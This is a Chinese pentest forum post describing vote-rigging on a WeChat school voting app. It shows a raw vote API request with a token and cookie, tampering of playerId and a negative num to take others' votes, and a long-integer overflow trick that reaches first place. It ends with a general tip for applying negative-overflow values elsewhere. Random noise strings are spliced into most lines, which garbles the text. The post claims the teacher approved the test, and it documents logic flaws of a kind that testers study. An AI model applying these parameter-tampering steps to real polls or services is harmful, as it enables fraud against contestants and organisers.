中国网络渗透测试联盟

标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票 [打印本页]

作者: admin    时间: 2021-12-30 13:52
标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**4 c% J2 E8 P+ w. e% f0 s
+ m9 Y' s2 a- B/ i  \# ^

+ a! `/ ?7 W5 @/ Z**1** **、第一种方法突破微信登陆投票**9 M8 ^/ a2 X# i4 u8 ~4 C
. x, G% ^) k% ^2 O0 k& Z9 y
一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票4 \, z6 I- j) B: p  V/ N
2 F9 t# J* C4 Z1 c. e5 u" o. \
首先用微信识别老师发来的投票二维码如图:" x" m( A/ g# R4 c% A' ]" N

* G; S2 k8 K, U$ |![image.png](data/attachment/forum/202112/30/134534pzg7kjhhvmcuhpim.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
9 b3 c: c  g, r2 A$ G4 S; ^
; S1 P' p  R! _- n- ], e6 @6 f使用微信号登陆,不停的放包,直到这里
8 I$ }% E8 V' R
6 }9 {5 S( u6 T' d3 J8 C3 h4 Y![image.png](data/attachment/forum/202112/30/134608bhq1ihzxuigv2g1g.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")5 H$ q1 E' ~7 U, `: g

) u7 B% L4 J. d: w5 X* Y1 \" d修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:
9 z. O1 n# y/ H
' g8 E9 j' m( l* v: j![image.png](data/attachment/forum/202112/30/134642y5r9rz0q00rob5yb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
8 p. x2 t, P' N  j- p
4 P1 k5 A0 I1 W3 S0 K$ j9 I/ ^3 j$ g, l: Y
3 J/ d1 V8 w; g5 R( A5 ]9 p
这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:
8 ?- h% L% M8 N( @( S6 a/ l7 b* l" ?. F( y8 N
![image.png](data/attachment/forum/202112/30/134740v0yd8lly3ndlojf8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")2 q/ T/ H+ Z* Q8 l6 g( h

/ D) U% D% L5 _* c4 _. K
1 l- f. ?0 l6 o5 s3 H4 m4 f, \( b: `' o5 |! K% x
票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。! E- i$ |/ C4 d% L4 J

6 ]! _0 i, i5 R0 y: g以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**7 Y7 D6 D& S$ Y7 V
# v) z& C' |- r& L
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**+ g; Z% f+ b: i0 Y
8 X, m* W% w' a! a
同样到这个包,如下:
- t6 A- t- i' w6 z2 L) i5 y- d' r  s* P' @  C$ O
```
) E% u6 T# Z1 e6 qPOST /vote/api/wx/voteFree/add HTTP/1.1! R& k& E0 `6 H/ C' x: g
Host: 111.cn
1 g1 ~+ ^$ `2 N5 e5 x9 [/ oContent-Length: 73
5 G% g6 l& |# I& v* ^, M3 C/ a9 oAccept: application/json, text/javascript, */*; q=0.01( `& O$ X# A9 w  M' @0 A4 R5 H" H
X-Requested-With: XMLHttpRequest
& m, t/ |  i2 y& o7 ?User-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
7 \3 t4 p& c' Z" w: ]5 Btoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0' _1 ?9 ]8 k9 X: A+ x# W# R
Content-Type: application/x-www-form-urlencoded; charset=UTF-8% R  V3 Y; \+ }8 V' D' R9 o
Origin: http://111.cn
1 f" C4 K$ o9 KReferer: http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default
9 d+ p8 j$ }  q) zAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
8 W4 n( S7 W4 K$ {! A7 f( sCookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo
; K4 R6 Q! d) C4 j9 `  RConnection: close
9 d% y& t$ R* I3 @voteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3" |$ z( K2 L' T4 }  z
& j/ M# d# x" e- N
```. H, U2 P/ k+ a5 P8 Z$ l+ \
- D# K' C4 i5 _" r, W
修改num=3333333{},如图:4 |, H) k, k" Z4 u: B/ y" e9 A

+ f6 V0 j2 `' |2 G+ M. w. R![image.png](data/attachment/forum/202112/30/134946uqvclqqb4vdy8oqt.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png"), g; t2 J3 _! I, p) {
7 l7 d, G1 w; X
, D3 S6 c( S4 s7 i$ |: G0 Z
* L8 A5 v2 U4 H* K( y2 p; x
判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:
" a0 O6 G9 H% T7 w
$ G4 Q1 U- f- u7 {' \2 \7 D/ G![image.png](data/attachment/forum/202112/30/135025yj3ozszo4ggaojgj.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")1 `8 T6 b- W2 Q0 N

! a- a5 p4 z6 |2 m
+ c+ u4 w. O  s, W: }& H/ B0 i, f4 ]1 h# B! N( w
这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。
/ L2 ]% L- O4 V3 N9 ]+ F1 E+ v1 D7 c8 j
也就是刷票数为负 -270多万,如上图。。。
4 Q/ O' U1 q4 a# R2 G: I1 n# }1 T% B: f
等溢出恢复以后票数变成15W多,排名第一,如图:
6 P! D& P, d* a1 _1 U
+ o8 Q# x5 a  J  ]( D# t1 |$ V# R& A, C9 j% d
![image.png](data/attachment/forum/202112/30/135104bemec992s9udxfzd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")( D5 ~4 M; w" w1 V) o
0 L8 j+ M& }) ^9 m/ ]
**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**% f7 b6 {, N( s& H
[/md]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2